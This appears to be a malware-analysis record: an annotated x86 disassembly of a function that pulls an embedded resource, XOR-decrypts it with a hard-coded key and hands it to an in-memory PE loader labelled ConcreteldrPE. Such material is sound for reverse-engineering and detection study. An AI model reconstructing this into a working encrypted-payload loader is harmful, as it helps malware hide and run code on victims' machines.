Function at 0x4036f0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffe0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44fc28
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x10
mov eax, 0x27d8
call fcn.004066d0
mov eax, dword [0x45c180]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1414], 0xffffffff
mov edx, 0x1571
mov dword [ebp - 0x2794], 0x1571
mov eax, 1
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [ebp + eax*4 - 0x2794], edx
inc eax
cmp eax, 0x270
jb 0x403756
mov dword [ebp - 0x2798], 0x270
call fcn.00405e12
mov dword [ebp - 0x8c], 0xffffffff
mov edx, 1
mov dword [ebp - 0x140c], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [ebp + edx*4 - 0x140c], eax
inc edx
cmp edx, 0x270
jb 0x403798
push 0x1388
lea eax, [ebp - 0x1410]
mov dword [ebp - 0x1410], 0x270
push eax
lea eax, [ebp - 0x2798]
push eax
call fcn.004075f0
add esp, 0xc
call fcn.00401be0
lea eax, [ebp - 0x2798]
mov dword [ebp - 0x27a4], eax
call fcn.00401be0
lea ecx, [ebp - 0x27a4]
call fcn.00402d90
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0
movq qword [ebp - 0x6c], xmm0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
lea ecx, [ebp - 0x27a4]
mov dword [ebp - 4], 0
call fcn.00402d90
call fcn.00401be0
push 0xa
push 2
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
call fcn.00401be0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov dword [ebp - 0x279c], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
call fcn.00401be0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
sub edx, ecx
cmp edi, edx
jae 0x40387e
lea eax, [edi + ecx]
mov dword [ebp - 0x68], eax
jmp 0x4038b7
jbe 0x4038b7
mov eax, dword [ebp - 0x64]
sub eax, ecx
cmp edi, eax
jbe 0x40389b
lea eax, [ebp - 0x27a5]
push eax
push edi
lea ecx, [ebp - 0x6c]
call fcn.00401610
jmp 0x4038b4
mov ecx, dword [ebp - 0x68]
mov eax, edi
sub eax, edx
push eax
push 0
push ecx
lea esi, [ecx + eax]
call fcn.004088a0
add esp, 0xc
mov dword [ebp - 0x68], esi
mov ecx, dword [ebp - 0x6c]
push edi
push dword [ebp - 0x279c]
push ecx
call fcn.004075f0
add esp, 0xc
lea ecx, [ebp - 0x27a4]
call fcn.00402d90
mov dword [ebp - 0x27a0], 0x3ce37a6b
mov dword [ebp - 0x279c], 0xaab98084
mov eax, dword [ebp - 0x27a0]
mov ecx, dword [ebp - 0x279c]
mov dword [ebp - 0x27dc], ecx
mov dword [ebp - 0x27e0], eax
mov dword [ebp - 0x27a0], 0x8e9f1d7b
mov dword [ebp - 0x279c], 0xacc4f435
mov eax, dword [ebp - 0x27a0]
mov ecx, dword [ebp - 0x279c]
mov dword [ebp - 0x27d4], ecx
mov dword [ebp - 0x27d8], eax
mov dword [ebp - 0x27a0], 0x46e7c475
mov dword [ebp - 0x279c], 0xe80b331c
mov eax, dword [ebp - 0x27a0]
mov ecx, dword [ebp - 0x279c]
mov dword [ebp - 0x27cc], ecx
mov dword [ebp - 0x27d0], eax
mov dword [ebp - 0x27a0], 0x3389ab72
mov dword [ebp - 0x279c], 0xafc351a1
mov eax, dword [ebp - 0x27a0]
mov ecx, dword [ebp - 0x279c]
mov dword [ebp - 0x27c4], ecx
mov dword [ebp - 0x27c8], eax
mov dword [ebp - 0x27a0], 0x9d14a53
mov dword [ebp - 0x279c], 0x998bb2b6
mov eax, dword [ebp - 0x27a0]
mov ecx, dword [ebp - 0x279c]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x27a0], 0xb7ac2f48
mov dword [ebp - 0x279c], 0x99f0c603
mov eax, dword [ebp - 0x27a0]
mov ecx, dword [ebp - 0x279c]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x27a0], 0x46e7c475
mov dword [ebp - 0x279c], 0xe80b331c
mov eax, dword [ebp - 0x27a0]
mov ecx, dword [ebp - 0x279c]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x27a0], 0x3389ab72
mov dword [ebp - 0x279c], 0xafc351a1
mov eax, dword [ebp - 0x27a0]
mov ecx, dword [ebp - 0x279c]
vmovdqu ymm0, ymmword [ebp - 0x27e0]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x27e0]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
vpxor ymm0, ymm0, ymmword [ebp - 0x60]
vmovdqa ymmword [ebp - 0x27e0], ymm0
vxorps xmm0, xmm0, xmm0
mov dword [ebp - 0x74], 0
vmovups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x70], 0
vzeroupper
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403a55
sub ecx, edx
lea eax, [ebp - 0x27e0]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.00401540
lea ecx, [ebp - 0x27a4]
mov byte [ebp - 4], 1
call fcn.00402d90
cmp dword [ebp - 0x70], 0xf
lea eax, [ebp - 0x84]
push dword [ebp - 0x74]
cmova eax, dword [ebp - 0x84]
lea ecx, [ebp - 0x10d0]
push eax
call fcn.00401260
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x68]
sub eax, ecx
push eax
push ecx
push ecx
lea ecx, [ebp - 0x10d0]
call fcn.00401010
lea ecx, [ebp - 0x27a4]
call fcn.00402d90
cmp dword [ebp - 0x6c], 0
je 0x403b16
call fcn.00401be0
lea ecx, [ebp - 0x27a4]
call fcn.00402d90
push 4
call fcn.00406127
mov esi, eax
add esp, 4
test esi, esi
je 0x403aef
mov dword [esi], vtable.ConcreteldrPE.0
jmp 0x403af1
xor esi, esi
lea ecx, [ebp - 0x27a4]
call fcn.00402d90
mov eax, dword [esi]
mov ecx, esi
push dword [ebp - 0x6c]
mov eax, dword [eax + 0x10]
cmp eax, fcn.00404920
jne 0x403b14
call fcn.00404920
jmp 0x403b16
call eax
lea ecx, [ebp - 0x84]
call fcn.00402cb0
lea ecx, [ebp - 0x6c]
call fcn.00402d00
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.004064ee
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret